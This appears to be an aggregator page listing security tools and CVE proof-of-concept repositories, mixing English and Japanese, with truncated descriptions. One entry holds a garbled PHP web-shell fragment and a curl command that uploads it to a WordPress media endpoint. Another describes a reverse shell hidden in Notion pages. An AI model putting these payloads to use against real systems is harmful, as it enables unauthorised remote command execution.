keyhacks

KeyHacksは、バグバウンティプログラムやペンテストで見つけたさまざまなAPIキーを検証する方法を示しています。 @Gwen001 が全プロセスをスクリプト化しており、こちらから入手できます。こちら 目次 ABTasty API Key Algolia API key Amplitude API Keys Asana Access token AWS Access Key ID and Secret Azure Application Insights APP ID and API Key Bazaarvoice Passkey Bing Maps API Key Bit.ly...

petereport

PeTeReport PeTeReport Pe nTe st Report is an open-source application vulnerability reporting tool designed to assist pentesting/redteaming efforts, by simplifying the task of writting and generation of reports. Focused in product security, the tool help security researchers and pentesters to...

SwaggerSpy

SwaggerSpy Overview SwaggerSpy is a tool designed for automated Open Source Intelligence OSINT on SwaggerHub. This project aims to streamline the process of gathering intelligence from APIs documented on SwaggerHub, providing valuable insights for security researchers, developers, and IT...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Cisco ISE ERS API Unauthenticated RCE Exploit This repository contains a Python 3 proof-of-concept exploit for CVE-2025-20281 , a critical vulnerability in Cisco Identity Services Engine ISE that allows unauthenticated remote code execution RCE as root via the ERS API. 🩻...

WSSAT

WSSAT - Web Service Security Assessment Tool WSSAT is an open source web service security scanning tool which provides a dynamic environment to add, update or delete vulnerabilities by just editing its configuration files. This tool accepts WSDL address list as input file and for each service, it...

akto

Akto.io API Security Contributors What is Akto? How it works • Getting-Started • API Inventory • API testing • Add Test • Join Discord community • Akto is an instant, open source API security platform that takes only 60 secs to get started. Akto is used by security teams to maintain a continuous...

notionterm

notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR ➕: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...

twitter-intelligence

Twitter インテリジェンス Twitter APIを使用せずにTwitterの追跡と分析を行うためにPythonで書かれたプロジェクト。 前提条件 このプロジェクトはPython 3.xアプリケーションです。 パッケージの依存関係はrequirements.txtファイルにあります。以下のコマンドを実行して依存関係をインストールしてください。 pip3 install -r requirements.txt データベース データベースとしてSQLiteが使用されています。...

safety

!NOTE Come and join us at SafetyCLI. We are hiring for various roles. Table of Contents Table of Contents Introduction Key Features Getting Started GitHub Action Command Line Interface 1. Installation 2. Log In or Register 3. Running Your First Scan Basic Commands Service-Level Agreement SLA...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

BreakEscape

BreakEscape Rails Engine Cybersecurity training escape room game as a mountable Rails Engine. Features 24+ cybersecurity escape room scenarios Server-side progress tracking with 2-table schema Randomized passwords per game instance via ERB JIT Ink script compilation for NPC dialogue Polymorphic...

CVE-2024-28987

CVE-2024-28987 Proof of Concept Exploit for CVE-2024-28987: SolarWinds Web Help Desk Hardcoded Credential Vulnerability Overview Extracts up to 25 most recent tickets API limitation Retrieves full details for each ticket Analyzes ticket IDs to estimate total tickets in system Organizes output in ...

should-i-trust

should-i-trust Summary should-i-trust is a tool to evaluate OSINT signals for a domain. Requirements should-i-trust requires API keys from the following sources: Censys.io - Free for for first 250/quries/month VirusTotal - Free GrayHatWarFare - Free with limited results Use Case You're part of a...

should-i-trust

should-i-trust 概要 should-i-trustは、ドメインのOSINTシグナルを評価するツールです。 要件 should-i-trustは、以下のソースからのAPIキーが必要です： Censys.io - 月間最初の250クエリまで無料 VirusTotal - 無料 GrayHatWarFare - 結果に制限ありで無料 ユースケース あなたは新規ベンダーを評価する審査委員会のメンバーです。あなたは特に、新規ベンダーがコンプライアンスとセキュリティ要件を満たしていることを確認する責任があります。...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Leveraging the shell once...

CVE-2026-41473-CyberPanel-AI-Scanner-Unauth

CVE-2026-41473 — CyberPanel AI Scanner Unauthenticated Read/Write API Access Nuclei detection template for CVE-2026-41473 affecting CyberPanel versions before 2.4.4. Vulnerability CyberPanel's AI Scanner feature exposes two API endpoints without authentication: Endpoint| Method| Impact ---|---|--...

CVE-2025-0868

Penetration Testing Project Report: Exploiting CVE-2025-0868 DocsGPT RCE via JSON Eval 1. Introduction A critical Remote Code Execution RCE flaw CVE-2025-0868 was disclosed on February 20, 2025, in the open-source DocsGPT library, caused by unsafe use of eval when parsing JSON payloads. Key...

CVE-2021-22986

CVE-2021-22986 F5 BIG-IP/BIG-IQ iControl Rest API SSRF to RCE Usage: python CVE-2021-22986.py...

trappsec

trappsec trappsec is an open-source framework that helps developers detect attackers who probe API business logic. By embedding realistic decoy routes and honey fields that are difficult to distinguish from real API constructs, attackers are nudged to authenticate — converting reconnaissance into...

OWASP-WSTG-Rag

OWASP WSTG RAG A Retrieval-Augmented Generation RAG system that indexes the OWASP Web Security Testing Guide WSTG into a vector database, providing instant access to security testing methodologies via REST API and MCP Model Context Protocol for Claude Code integration. Features Complete WSTG...